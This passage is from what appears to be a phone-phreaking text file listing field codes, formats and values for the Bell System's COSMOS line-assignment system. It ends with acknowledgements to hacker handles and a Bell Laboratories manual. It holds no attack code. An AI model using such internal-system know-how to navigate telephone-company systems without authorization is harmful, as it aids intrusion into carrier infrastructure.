     GVR=Transaction GFR Output Format, One Facility per Line
     LVT=Line Verification Test Format
     TLC=Two-line Condensed Format
MG   Marker Group Number
     MG X
     X=0-9
MIN  Minimum Percentage Value of Entity Fill or Minimum CCS Value
     MIN XXX
     XXX=Maximum of 3 Numeric Characters
MLP  Multi-loop Resistance Zone Threshold
     MLP XX
     XX=Two Numeric Characters
MOD  Module Number
     MOD XXX
     XXX=Three Numeric Characters
MODE Integrated SLC No. 5ESS Mode
     MODE X
     1=5 T1 Carrier Channels
     2=3 T1 Carrier Channels
MPN  Master Work Package Number
     MPN XXXX
     XXXX=1-9999
MR   Message Register
     MR XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
MRO  Message Register Option
     MRO XXX
     XXX=YES or NO
MT   Master Record Tape Unit Number or Tape Drive to Write
     MT X
     X=Numeric
MTR  Tape Drive to Read
     MTR X
     X=Numeric
MTW  Tape Drive to Write
     MTW X
     X=Numeric
NAR  NAC Assignment Review
     NAR XXX
     XXX=Maximum of 3 Numeric Characters
NGF  Number Group Frame for 5XB
     NGF XXX
     XXX=Three Numeric Characters
NNX  Telephone Exchange Code
     NNX XXX
     XXX=THree Numeric Characters
NOE  Number of OEs to be Assigned
     NOE X
     X=0 or 1
NPA  Area Code and Exchange Number
     NPA XXXXXX
     XXXXXX=Six Alphanumeric Characters
NRM  Normalizing CCS VAlue
     NRM XX
     XX=0-99
NTN  Number of TNs to be Assigned
     NTN X
     X=0 or 1
OA   Line Equipment Assignment Option
     OA X
     Y=Yes
     N=No
OC   Order Category
     OC XXX
     ACT=Assignment Change Ticket
     ALL=All OE Load Factors
     CPC=Special Service
     FM=Count Since OE Input Features Occurrences
     FO=Count All OE Input Feature Occurrences
     HOT=Frame Ouput-urgent
     JR=Jeopardy Reason
OCS  Old Class of Service
     OCS XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
OD   Output Device
     OD XXXX
     TT=Send Output to Current Terminal
     TTXX=Send Output to Specified Terminal XX
     MTX=Send Output to Magnetic Tape X
OE   Office Equpiment Number
     OE ID
     (See MASK)
OGO  Outgoing Only Trunk
     OGO XXX
     XXX=Maximum of 4 Numeric Characters
OPT  Party Assignment Option
     OPT X
     1=Assign Multi-party Customers to Spare Party Equipment
     2=Assign Multi-party Customer to Partially Equipped Party Equipment
     3=Assign Only One Multi-Party Customer to each Single Party Equipment
ORD  Service or Work Order
     ORD XX...XX
     XX...XX=Maximum of 20 Alphanumeric Characters
OT   Service or Work Order Type
     OT XXX
     BT=Background Transfer
     CD=Complete Disconnect
     CH=Changed
     CIO=Company Initiated Orders
     F="FROM"
     LET=Line Equipment Transfers
     LST=Line and Station Transfers
     MCE=Maintenance Change by LAC
     MCR=Maintenance Change by Repair
     MCT=All Maintenance Changes
     NC=New Connect
     R=Remarks
     REA=Pending Reassociation
     SW=Swap
     T="TO"
PBX  Private Branch Exchange
     PBX XXXX
     XXXX=Maximum of 4 Numeric Characters
PCID Primary Circuit Identification
     PCID XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
PKT  Picket Fence Values
     PKT XXX.X,...,XXX.X
     XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or
     N=No New Values
PL   Private line Circuit Number
     PL XX...XX
     XX...XX=Maximum of 61 Alphanumeric Characters
PNL  PREMIS Number List for TN
     PNL XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
POP  Line Equipment Print Option
     POP XXX
     CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS
     CNG=Concentrator Group-2ESS, 3ESS
     HG=Horizontal Group-5XBAR
     IM=Interface Module-5ESS
     LFG=Line Finder Group-SXS
     LLF=Line Link Frame-5XBAR
     LLN=Line Link Net-1ESS
     LTN=Line Trunk Net-2ESS
     LU=Link Unit Module-5ESS
     QC=Quarter Choice-1XBAR
     SW=Switch-1XBAR
     VF=Vertical FIle-5XBAR
PR   Cable Pair ID
     PR YXXX
     Y=Alphanumeric
     XXX=Numeric
PRI  Frame Priority
     PRI XX
     XX=Two Numeric Characters
PRP  Permanent Cable Pair Remarks
     PRP XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
PRZ  Preferred Rate Zone
     PRT X
     X=Numeric
PS   Previously Published/Non-published Facility Indicator
     PS X
     N=Non-Published
     !=Published
PT   Package Time
     PT XXX
     XXX=Three Numeric Characters
PTY  Party Number or Position
     PTY X
     X=1-4
PTY  Party Indicator
     PTY X
     R=Reserved
     O=Open
PWC  PREMIS Wire Center
     PWC XX...XX
     XX...XX=Maximum of 8 Alphanumeric Characters
PWC  Print Work Code
     PWC XXX
     NBT=No Back Tap
     COM=Frame Complete
     PBT=Print Back Tap
     RCT=Place Heat Coils on "TO" Pair
     RBT=Remove Back Tap
     RCF=Remove Heat Coils on "FROM" Pair
     VBT=Verify Back Tap
     USX=Locally Defined Codes (X=1-4)
RAP  Rotary Assignment Priority
     RAP X
     X=Numeric
RCT  Recent Change Type
     RCT XX
     1=1ESS Office
     1A=1AESS Office
     2=2ESS (LO1)
     2E=2ESS (EF1 and EF2)
     3=3ESS
     5T=5ESS
RCW  Recent Change Keyword
     RCW XX...XX
     XX...XX=Maximum of 20 Alphanumeric Characters
RD   Release Date
     RD MM-DD-YY
     MM=Month
     DD=Day
     YY=Year
RDG  Message Register Reading
     RDG XXXX
     XXXX=Four Numeric Characters
REC  Record File Name and Number
     REC FFXXXXXX
     FF=File Name (Alphanumeric)
     XXXXXX=Record Number (Maximum of 6 Numeric Characters)
REP  Reprint Option
     REP X
     Y=Yes
     N=No
RESP Send a Solicited Response
     RESP X
     S=Solicited Response
REW  Rework Status
     REW X
     Y=Yes
     N=No
RLF  Re-using DIPs Upper Bound Load Factor
     RLF X
     X=1-9
RLO  Automatic Relay Assignment Present
     RLO X
     Y=Yes
     N=No
RLY  Miscellaneous Relay
     RLY XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
RMK  Remarks on Orders
     RMK XX...XX
     XX...XX=Maximum of 28 Alphanumeric Characters
RMKG Hunt Group Remarks
     RMKG XX...XX
     XX...XX=Maximum of 30 Alphanumeric Characters
RMKO Remarks on Office Equipment
     RMKO XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
RMKP Remarks on Cable Pair
     RMKP XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
RMKT Remarks on Telephone Number
     RMKT XX...XX
     XX...XX=Maximum of 14 Alphanumeric Characters
RNO  RSS Subentity Number
     RNO XX
     XX=01-63
RTI  Route Index
     RTI XXXX
     XXXX=Maximum of 4 Numeric Characters
RTYP Relay Type
     RTYP XXX
     TBA=Tens Block Auxiliary
     SC=Sleeve Connect
     AR=Advance
RTZ  Rate Zone
     RTZ X
     X=Numeric
RW   Recent Change Work
     RW X
     N=Recent Change Message not Required
     C=Recent Change Coordination Required
RZ   Resistance Zone
     RZ XX
     XX=Two Numeric Characters
SBS  Sub-status
     SBS X
     A=Area Transfer
     C=Cut Through
     D=Dedicated
     L=Cut Through and Dedicated
     !=Blank
SC   Sleeve Connect Relay
     SC SYY-ZZZ
     S=Marker Group (Numeric)
     YY=Number Group Frame (Numeric)
     ZZZ=Relay Number (Numeric)
SE   Special Service Equipment Number
     SE XX...XX
     XX...XX=Maximum of 52 Alphanumeric Characters
SET  Single Entity Tag
     SET X
     Y=CP is Served by a Single Entity on a Single Frame
     !=CP Can be Served by More Than One Entity
SG   Service Segment
     SG X
     B=Business
     C=Coin
     D=Data
     R=Residence
     S=Special
SGN  Common Language Segment Number
     SGN XXX
     XXX=Maximum of 3 Alphanumeric Characters
SIS  Special Identifying Telephone Number Supplement
     SIS XXXX
     XXXX=Maximum of 4 Numeric Characters
SIT  Special Identifying Telephone Number
     SIT XXX-YYY-XXXX
     X=Numeric
     Y=Numeric
SK   Skip Option
     SK X
     X=0 or 2-9
SN   Sequence Number
     SN XXX
     XXX=1-999
SOB  Service Observing Tag
     SOB XXX
     XXX=YES or NO
SS   Suspension Status
     SS XX
     DB=Deny Both Ways
     DI=Deny Incoming
     DO=Deny Outgoing
     RS=Restore Suspended Circuit
     SB=Suspend Both Ways
     SD=Season Disconnect
     SI=Suspend Incoming
     SO=Suspend Outgoing
     DX=Deny Toll Access Tervice
SSV  Suspend Service Type
     SSV XX
     DO=Deny Outward Service
     DB=Deny Both Outward and Inward Service
     DX=Deny Toll Access Service
     RS=Restore Denied Service
STAT Order Status
     STAT XX
     AC=Pending With no Framd or Installation Completion
     FC=Pending With Frame Completion but no Installation Completion
     IC=Pending with Installation Complation but no Frame Completion
     CC=Completed Orders
     CA=Canceled Orders
STAT Facility Status
     STAT XX
     AS=All Spare
     EX=Excluded
     PC=Pending Connect
     RS=Reserved
     SF=Spare Facility
     UK=Unknown
     WK=Working
STAT Load Group Status
     STAT XX
     EX=Blocked from all Assignments
     FU=Open for Dial Transfer Assignments Only
     PS=Pseudo LEN Assignments Only
     SO=Open for Service Orders and Work Orders Only
     WK=Open for All Assignments
STO  Line Equipment Status
     STO XX
     AW=All Working
     MS=Miscellaneous
     OF=Official
     TJ=Trunk and Junctor
     TS=Test
     WK=Working
     PD=Pending Disconnect
     PK Pending Disconnect/Pending New Connect
     AS=All Spare
     EX=Excluded
     LI=Left-in Disconnect
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
STP  Cable and Pair Status
     STP XX
     AL=All Pairs
     AD=All Defective
     AP=All Provisioned
     AW=All Working
     DC=Designed Circuit
     DI=Defective (I=1-9)
     DM=Designed + SSM
     DP=Designed + SSP
     SM=Special Safeguard Measures
     SP=Special Safeguard Protection
     SS=Special Status
     WK=Working
     AS=All Spare
     EX=Excluded
     LI=Left-in Disconnect
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
     PD=Pending Disconnect
STT  Telephone Number Status
     STT XX
     AU=Auxiliary
     AW=All Working
     MS=Miscellaneous
     NP=Non-published
     OF=Official
     TJ=Trunk and Junctor
     TS=Test
     WK=Working
     AS=All Spare
     AV=Available
     CM=Changed-Machine Intercept
     CO=Changed-Operator Intercept
     DM=Disconnected-Machine Intercept
     DO=Disconnected-Operator Intercept
     EX=Excluded
     RS=Reserved
     SF=Spare
     UK=Unknown
     PC=Pending Connect
     PD=Pending Disconnect
     PK=Pending Disconnect/Pending New Connect
SUBL Sublet Service
     SUBL XXX-XXXX
     XXX-XXXX=Telephone Number
SWC  Set Work Code
     SWC XXX
     (See Print Work Code)
SWG  Switch Group
     SWG X
     X=0-2
SYS  Machine Number
     SYS XX...XX
     XX...XX=Maximum of 12 Alphanumeric Characters
TA   Transfer Assembly
     TA X
     Y=Yes
     N=No
TAP  Touchtone Assignment Priority Number
     TAP X
     X=Numeric
TBA  TBA Relay
     TBA XYY-ZZZ
     X=Marker Group Number (Numeric)
     YY=Number Group Frame (Numeric)
     ZZZ=Relay Number (Numeric)
TBS  TBS Relay
     TBS XZ-NN
     X=Marker Group Number (0-9)
     Z=Relay Number (0-3)
     NN=Ringing Combination (01-16)
TC   TO Cable
     TX XX...XX
     XX...XX=Maximum of 10 Alphanumeric Characters
TER  Terminal
     TER XXXX
     XXXX=Maximum of 4 Numeric Characters
TER  Terminal Number
     TER Y-XXXX-ZZZZ
     Y=Control Group (Alphanumeric)
     XXXX=Group Number (Numeric)
     ZZZZ=Terminal Number (Numeric)
THG  Thousands Group
     THG X or
     THG XXXX
     X=0-9
     XXXX=0000,1000,...,9000
TK   Trunk Cable and Pair Number
     TK YYYYYY-XXXX
     YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)
     XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)
TLI  Telephone Line Identifier
     TLI XXX-YYY-XXXX
     X=Numeric
     Y=Alphanumeric
TN   Telephone Number
     TN XXX-XXXX
     XXX-XXXX=Telephone Number
TOM  Two or More Non-pending, Non-party Filtered Circuit Facilities
     TOM XX
     CP=Cable Pair
     TN=Telephone Number
     OE=Office Equipment
TP   Tie Pair
     TP YY...YY-XXXX
     YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)
     XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)
TPR  Taper Code
     TPR XXXXXX
     XXXXXX=Maximum of 6 Alphanumeric Characters
TRE  Transmission Equipment
     TRE XX...XX
     XX...XX=Maximum of 17 Alphanumeric Characters
TT   Telephone Number Type
     TT X
     B=POTs Hunting
     C=Coin
     G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)
     O=Official
     Q=Centrex
     X=POTx Non-hunting
TTA  Terminating Traffic Area
     TTA XXX
     XXX=Maximum of 3 Alphanumeric Characters
TYP  Switching Type
     TYP XXX
     1ES=Number 1ESS
     2ES=Number 2ESS
     3ES=Number 3ESS
     5ES=Number 5ESS
     RSS=Remote Switching System
     1XB=Number 1 Cross-bar
     5XB=Number 5 Cross-bar
     SXS=Step-by-step
     DMX=DMS-10
     DMC=DMS-100
US   USOC
     US XXXXX
     XXXXX=Maximum of 5 Alphanumeric Characters
USE  Entity Usage
     USE X
     G=Growth
     S=Stable
VAL  Minimum Valid Hours for Entity Data
     VAL XX
     XX=1-99
WC   Wire Center
     WC XX
     XX=Alphanumeric
WL   Work Location
     WL Y
     Y=1-8    or
     WL XXX
     ADM=Administrative
     ACT=Assignment Change Ticket
     CPC=Special Service Circuits
     MCT=Maintenance Change Tickets
WPN  Work Package Number
     WPN XXXX
     XXXX=1-9999
WPT  Work Package Type
     WPT XXX
     XXX=Maximum of 3 Alphanumeric Characters
XN   "X" Number
     XN XXX-YYXX  or
     XN XXX-YXX
     X=Numeric
     Y=Alphanumeric
ZN   Zone Location
     ZN XXX
     XXX=001-999
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ACKNOWLEDGEMENTS
Skinny Puppy for refreshing my memory
The Urvile for the "$*" file and further usage of echo
Bell Laboratories OPA-1Y600-01

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